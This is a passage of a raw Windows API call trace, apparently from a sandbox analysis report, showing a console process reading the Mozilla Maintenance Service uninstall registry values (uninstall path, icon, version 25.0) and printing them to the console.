lstrlenW (lpString=" ") returned 4 [0149.147] GetConsoleOutputCP () returned 0x1b5 [0149.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.147] GetConsoleOutputCP () returned 0x1b5 [0149.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.147] __iob_func () returned 0x7fefd702a80 [0149.147] _fileno (_File=0x7fefd702ab0) returned 1 [0149.147] _errno () returned 0x204bb0 [0149.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.147] _errno () returned 0x204bb0 [0149.147] GetFileType (hFile=0x50) returned 0x1 [0149.147] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0149.147] GetConsoleOutputCP () returned 0x1b5 [0149.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Maintenance Service", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.148] GetConsoleOutputCP () returned 0x1b5 [0149.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Mozilla Maintenance Service", cchWideChar=27, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla Maintenance Service", lpUsedDefaultChar=0x0) returned 27 [0149.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 27 [0149.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.148] __iob_func () returned 0x7fefd702a80 [0149.148] _fileno (_File=0x7fefd702ab0) returned 1 [0149.148] _errno () returned 0x204bb0 [0149.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.148] _errno () returned 0x204bb0 [0149.148] GetFileType (hFile=0x50) returned 0x1 [0149.148] lstrlenW (lpString="\n") returned 1 [0149.148] GetConsoleOutputCP () returned 0x1b5 [0149.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.148] GetConsoleOutputCP () returned 0x1b5 [0149.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.148] GetProcessHeap () returned 0x3c0000 [0149.148] GetProcessHeap () returned 0x3c0000 [0149.148] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.148] GetProcessHeap () returned 0x3c0000 [0149.148] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3c [0149.149] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0149.149] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.149] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x88) returned 0x0 [0149.149] GetProcessHeap () returned 0x3c0000 [0149.149] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8a) returned 0x3db830 [0149.149] GetProcessHeap () returned 0x3c0000 [0149.149] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.149] GetProcessHeap () returned 0x3c0000 [0149.149] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x8a [0149.149] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x88 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninstall.exe\"", pcbData=0x29f780*=0x86) returned 0x0 [0149.149] __iob_func () returned 0x7fefd702a80 [0149.149] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.149] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.149] _fileno (_File=0x7fefd702ab0) returned 1 [0149.149] _errno () returned 0x204bb0 [0149.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.149] _errno () returned 0x204bb0 [0149.149] GetFileType (hFile=0x50) returned 0x1 [0149.149] lstrlenW (lpString=" ") returned 4 [0149.149] GetConsoleOutputCP () returned 0x1b5 [0149.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.150] GetConsoleOutputCP () returned 0x1b5 [0149.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.150] lstrlenW (lpString="UninstallString") returned 15 [0149.150] __iob_func () returned 0x7fefd702a80 [0149.150] _fileno (_File=0x7fefd702ab0) returned 1 [0149.150] _errno () returned 0x204bb0 [0149.150] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.150] _errno () returned 0x204bb0 [0149.150] GetFileType (hFile=0x50) returned 0x1 [0149.150] lstrlenW (lpString="UninstallString") returned 15 [0149.150] GetConsoleOutputCP () returned 0x1b5 [0149.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.150] GetConsoleOutputCP () returned 0x1b5 [0149.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.150] __iob_func () returned 0x7fefd702a80 [0149.150] _fileno (_File=0x7fefd702ab0) returned 1 [0149.150] _errno () returned 0x204bb0 [0149.150] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.150] _errno () returned 0x204bb0 [0149.150] GetFileType (hFile=0x50) returned 0x1 [0149.150] lstrlenW (lpString=" ") returned 4 [0149.151] GetConsoleOutputCP () returned 0x1b5 [0149.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.151] GetConsoleOutputCP () returned 0x1b5 [0149.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.151] __iob_func () returned 0x7fefd702a80 [0149.151] _fileno (_File=0x7fefd702ab0) returned 1 [0149.151] _errno () returned 0x204bb0 [0149.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.151] _errno () returned 0x204bb0 [0149.151] GetFileType (hFile=0x50) returned 0x1 [0149.151] lstrlenW (lpString="REG_SZ") returned 6 [0149.151] GetConsoleOutputCP () returned 0x1b5 [0149.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.151] GetConsoleOutputCP () returned 0x1b5 [0149.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.151] __iob_func () returned 0x7fefd702a80 [0149.151] _fileno (_File=0x7fefd702ab0) returned 1 [0149.152] _errno () returned 0x204bb0 [0149.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.152] _errno () returned 0x204bb0 [0149.152] GetFileType (hFile=0x50) returned 0x1 [0149.152] lstrlenW (lpString=" ") returned 4 [0149.152] GetConsoleOutputCP () returned 0x1b5 [0149.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.152] GetConsoleOutputCP () returned 0x1b5 [0149.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.152] __iob_func () returned 0x7fefd702a80 [0149.152] _fileno (_File=0x7fefd702ab0) returned 1 [0149.152] _errno () returned 0x204bb0 [0149.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.152] _errno () returned 0x204bb0 [0149.152] GetFileType (hFile=0x50) returned 0x1 [0149.152] lstrlenW (lpString="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninstall.exe\"") returned 66 [0149.152] GetConsoleOutputCP () returned 0x1b5 [0149.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninstall.exe\"", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0149.152] GetConsoleOutputCP () returned 0x1b5 [0149.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninstall.exe\"", cchWideChar=66, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninstall.exe\"", lpUsedDefaultChar=0x0) returned 66 [0149.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 66 [0149.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.153] __iob_func () returned 0x7fefd702a80 [0149.153] _fileno (_File=0x7fefd702ab0) returned 1 [0149.153] _errno () returned 0x204bb0 [0149.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.153] _errno () returned 0x204bb0 [0149.153] GetFileType (hFile=0x50) returned 0x1 [0149.153] lstrlenW (lpString="\n") returned 1 [0149.153] GetConsoleOutputCP () returned 0x1b5 [0149.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.153] GetConsoleOutputCP () returned 0x1b5 [0149.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.153] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.153] GetProcessHeap () returned 0x3c0000 [0149.153] GetProcessHeap () returned 0x3c0000 [0149.153] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.153] GetProcessHeap () returned 0x3c0000 [0149.153] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x8a [0149.153] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.153] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.153] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x88) returned 0x0 [0149.153] GetProcessHeap () returned 0x3c0000 [0149.153] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8a) returned 0x3dfa90 [0149.154] GetProcessHeap () returned 0x3c0000 [0149.154] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dfa90) returned 1 [0149.154] GetProcessHeap () returned 0x3c0000 [0149.154] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dfa90) returned 0x8a [0149.154] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dfa90, pcbData=0x29f780*=0x88 | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe,0", pcbData=0x29f780*=0x86) returned 0x0 [0149.154] __iob_func () returned 0x7fefd702a80 [0149.154] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.154] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.154] _fileno (_File=0x7fefd702ab0) returned 1 [0149.154] _errno () returned 0x204bb0 [0149.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.154] _errno () returned 0x204bb0 [0149.154] GetFileType (hFile=0x50) returned 0x1 [0149.154] lstrlenW (lpString=" ") returned 4 [0149.154] GetConsoleOutputCP () returned 0x1b5 [0149.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.154] GetConsoleOutputCP () returned 0x1b5 [0149.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.154] lstrlenW (lpString="DisplayIcon") returned 11 [0149.154] __iob_func () returned 0x7fefd702a80 [0149.154] _fileno (_File=0x7fefd702ab0) returned 1 [0149.154] _errno () returned 0x204bb0 [0149.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.154] _errno () returned 0x204bb0 [0149.154] GetFileType (hFile=0x50) returned 0x1 [0149.154] lstrlenW (lpString="DisplayIcon") returned 11 [0149.155] GetConsoleOutputCP () returned 0x1b5 [0149.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.155] GetConsoleOutputCP () returned 0x1b5 [0149.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0149.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.155] __iob_func () returned 0x7fefd702a80 [0149.155] _fileno (_File=0x7fefd702ab0) returned 1 [0149.155] _errno () returned 0x204bb0 [0149.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.155] _errno () returned 0x204bb0 [0149.155] GetFileType (hFile=0x50) returned 0x1 [0149.155] lstrlenW (lpString=" ") returned 4 [0149.155] GetConsoleOutputCP () returned 0x1b5 [0149.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.155] GetConsoleOutputCP () returned 0x1b5 [0149.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.155] __iob_func () returned 0x7fefd702a80 [0149.155] _fileno (_File=0x7fefd702ab0) returned 1 [0149.155] _errno () returned 0x204bb0 [0149.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.156] _errno () returned 0x204bb0 [0149.156] GetFileType (hFile=0x50) returned 0x1 [0149.156] lstrlenW (lpString="REG_SZ") returned 6 [0149.156] GetConsoleOutputCP () returned 0x1b5 [0149.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.156] GetConsoleOutputCP () returned 0x1b5 [0149.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.156] __iob_func () returned 0x7fefd702a80 [0149.156] _fileno (_File=0x7fefd702ab0) returned 1 [0149.156] _errno () returned 0x204bb0 [0149.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.156] _errno () returned 0x204bb0 [0149.156] GetFileType (hFile=0x50) returned 0x1 [0149.156] lstrlenW (lpString=" ") returned 4 [0149.156] GetConsoleOutputCP () returned 0x1b5 [0149.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.156] GetConsoleOutputCP () returned 0x1b5 [0149.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.157] __iob_func () returned 0x7fefd702a80 [0149.157] _fileno (_File=0x7fefd702ab0) returned 1 [0149.157] _errno () returned 0x204bb0 [0149.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.157] _errno () returned 0x204bb0 [0149.157] GetFileType (hFile=0x50) returned 0x1 [0149.157] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe,0") returned 66 [0149.157] GetConsoleOutputCP () returned 0x1b5 [0149.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe,0", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0149.157] GetConsoleOutputCP () returned 0x1b5 [0149.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe,0", cchWideChar=66, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe,0", lpUsedDefaultChar=0x0) returned 66 [0149.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 66 [0149.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.157] __iob_func () returned 0x7fefd702a80 [0149.157] _fileno (_File=0x7fefd702ab0) returned 1 [0149.157] _errno () returned 0x204bb0 [0149.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.157] _errno () returned 0x204bb0 [0149.157] GetFileType (hFile=0x50) returned 0x1 [0149.157] lstrlenW (lpString="\n") returned 1 [0149.157] GetConsoleOutputCP () returned 0x1b5 [0149.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.158] GetConsoleOutputCP () returned 0x1b5 [0149.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.158] GetProcessHeap () returned 0x3c0000 [0149.158] GetProcessHeap () returned 0x3c0000 [0149.158] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dfa90) returned 1 [0149.158] GetProcessHeap () returned 0x3c0000 [0149.158] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dfa90) returned 0x8a [0149.158] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dfa90 | out: hHeap=0x3c0000) returned 1 [0149.158] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.158] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc) returned 0x0 [0149.158] GetProcessHeap () returned 0x3c0000 [0149.158] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3df290 [0149.158] GetProcessHeap () returned 0x3c0000 [0149.158] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.158] GetProcessHeap () returned 0x3c0000 [0149.158] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xe [0149.158] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0xc | out: pdwType=0x29f700*=0x1, pvData="25.0", pcbData=0x29f780*=0xa) returned 0x0 [0149.158] __iob_func () returned 0x7fefd702a80 [0149.158] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.158] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.158] _fileno (_File=0x7fefd702ab0) returned 1 [0149.158] _errno () returned 0x204bb0 [0149.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.158] _errno () returned 0x204bb0 [0149.158] GetFileType (hFile=0x50) returned 0x1 [0149.158] lstrlenW (lpString=" ") returned 4 [0149.158] GetConsoleOutputCP () returned 0x1b5 [0149.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.159] GetConsoleOutputCP () returned 0x1b5 [0149.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, 